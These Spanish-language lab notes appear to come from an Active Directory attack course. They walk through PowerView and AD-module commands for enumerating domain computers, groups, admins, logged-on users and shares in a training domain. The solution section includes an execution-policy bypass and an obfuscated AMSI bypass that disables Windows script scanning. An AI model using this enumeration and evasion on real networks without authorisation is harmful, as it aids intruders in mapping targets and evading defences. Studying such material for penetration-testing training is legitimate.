# 1. Domain Enumeration Part 2 - O1 ### Get a list of computers in the current domain #### Powerview Get-NetComputer Se obtienen las maquinas miembros en este dominio, incluido el DC, los servidores y diferentes máquinas. Recordar que lo mostrado son objetos de computadora: ![](https://i.imgur.com/JtpE3FN.png) Get-NetComputer -OperatingSystem "\*Server 2016\*" Ver cuantas máquinas en el dominio son máquinas del servidor 2016 ![](https://i.imgur.com/0gyTozi.png) Get-NetComputer -Ping Para verificar si las máquinas están activas o no, es decir, comprueban la conexión(ICMP) Esto puede darte un falso positivo Get-NetComputer -FullData Se obtiene toda la data de c/u de las computadoras ![](https://i.imgur.com/EERcCeu.png) Recordar que podemos usar PowerView de forma personalizada: Get-NetComputer -FullData | select operatingsystem #### Modulo AD Get-ADComputer -Filter * | select Name Obtengo una lista de todas las máquina en el dominio actual Get-ADComputer -Filter 'OperatingSystem -like \"\*Server 2016\*\"' -Properties OperatingSystem | select Name,OperatingSystem ![](https://i.imgur.com/bpUAcr8.png) Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName} Get-ADComputer -Filter * -Properties * Muestra todas las propiedades de todos los objetos de la computadora en el dominio. ### Get all the groups in the current domain #### PowerView Get-NetGroup Brinda información sobre todos los grupos de dominio, no grupos locales ![](https://i.imgur.com/YvX18BL.png) Get-NetGroup -Domain <targetdomain> Get-NetGroup -FullData Obtiene toda la información sobre los grupos o alguno en particular ![](https://i.imgur.com/HPU666P.png) Get-NetGroup -GroupName 'Domain Admins' Get-NetGroup -GroupName 'Domain Admins' -FullData Get-NetGroup -GroupName *admin* Devuelve todos los grupos que contengan "admin" en sus nombres ![](https://i.imgur.com/2d3gjMK.png) Get-NetGroup -GroupName *admin* -Domain moneycorp.local Este comando nos entrega un grupo adicional llamada "Enterprise Key Admins" y "Enterprise Admins", "Schema Admins" puesto que estos grupos solo se encuentran en la ruta del bosque. ![](https://i.imgur.com/ln4nSeK.png) #### ModuleAD Get-ADGroup -Filter * | select Name ![](https://i.imgur.com/YuKoGUz.png) Get-ADGroup -Filter * -Properties * Get-ADGroup -Filter 'Name -like "\*admin\*"' | select Name ![](https://i.imgur.com/EMolTTN.png) ### Get all the members of the Domain Admins group #### PowerView Get-NetGroupMember -GroupName "Domain Admins" -Recurse La opción "-Recurse" muestra de forma recursiva cada uno de los miembros que pertenecen al grupo y subgrupos de "Domain Admins" Get-NetGroupMember -GroupName "Domain Admins" ![](https://i.imgur.com/hEBHJTQ.png) IsGroup: Indica si es o no un grupo. Recordar que un grupo puede estar en otro grupo. MemberName: Indica el nombre Get-NetGroupMember -GroupName "Enterprise Admins" -Domain moneycorp.local ![](https://i.imgur.com/GXe3ZQg.png) #### Module AD Get-ADGroupMember -Indetity "Domain Admins" -Recursive ### Get the group membership for a user: Sirve para obtener los grupos de dominio a los cuales pertenece un usuario #### PowerView Get-NetGroup -UserName "student1" #### Module AD Get-ADPrincipalGroupMembership -Identity student1 ![](https://i.imgur.com/Ns6iRui.png) ### List all the local groups on a machine(Necesita derechos de administrador local o alguna condición especial en la máquina) Lista grupos locales #### PowerView Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups ![](https://i.imgur.com/80l0vjj.png) ### Get members of all the local groups on a machine(Necesita derechos de administrador local o alguna condición especial en la máquina) Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse ## PowerView ### Get actively logged users on a computer Get-NetLoggedon -ComputerName <servername> ### Get locally logged users on a computer Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local ### Get the last logged users on a computer Get-LastLoggedon -ComputerName <servername> ### Find shares on hosts in current domain Invoke-ShareFinder -Verbose Nos muestra recursos compartidos que son legibles y accesibles hacia nosotros. ![](https://i.imgur.com/SjUhY7C.png) ### Find sensitive files on computers in the domain Invoke-FileFinder -Verbose ### Get all fileservers of the domain Get-NetFileServer ![](https://i.imgur.com/nd1qiKp.png) ## Learning Objective 1 Task Enumerate following for the dollarcorp domain * Users * Computers * Domain Administrators * Enterprise Administrators * Shares Solución ``` powershell -ep bypass ``` ![](https://i.imgur.com/ebrUNQU.png) ![](https://i.imgur.com/0fHpaSl.png) ``` [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) . .\PowerView.ps1 ``` ``` Get-NetUser ``` ![](https://i.imgur.com/t2zgFBw.png) ``` Get-NetUser | select samaccountname ``` ![](https://i.imgur.com/G0w7SsL.png) ``` Get-NetComputer ``` ![](https://i.imgur.com/6ZxfZfr.png) ``` Get-NetGroup ``` ![](https://i.imgur.com/kU2CLAd.png) ``` Get-NetGroup -GroupName "Domain Admins" -FullData ``` ![](https://i.imgur.com/EOR6sNt.png) ``` Get-NetGroupMember -GroupName "Domain Admins" ``` ![](https://i.imgur.com/5Ao3smp.png) ``` Get-NetGroupMember -GroupName "Enterprise Admins" –Domain moneycorp.local ``` ``` Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose ```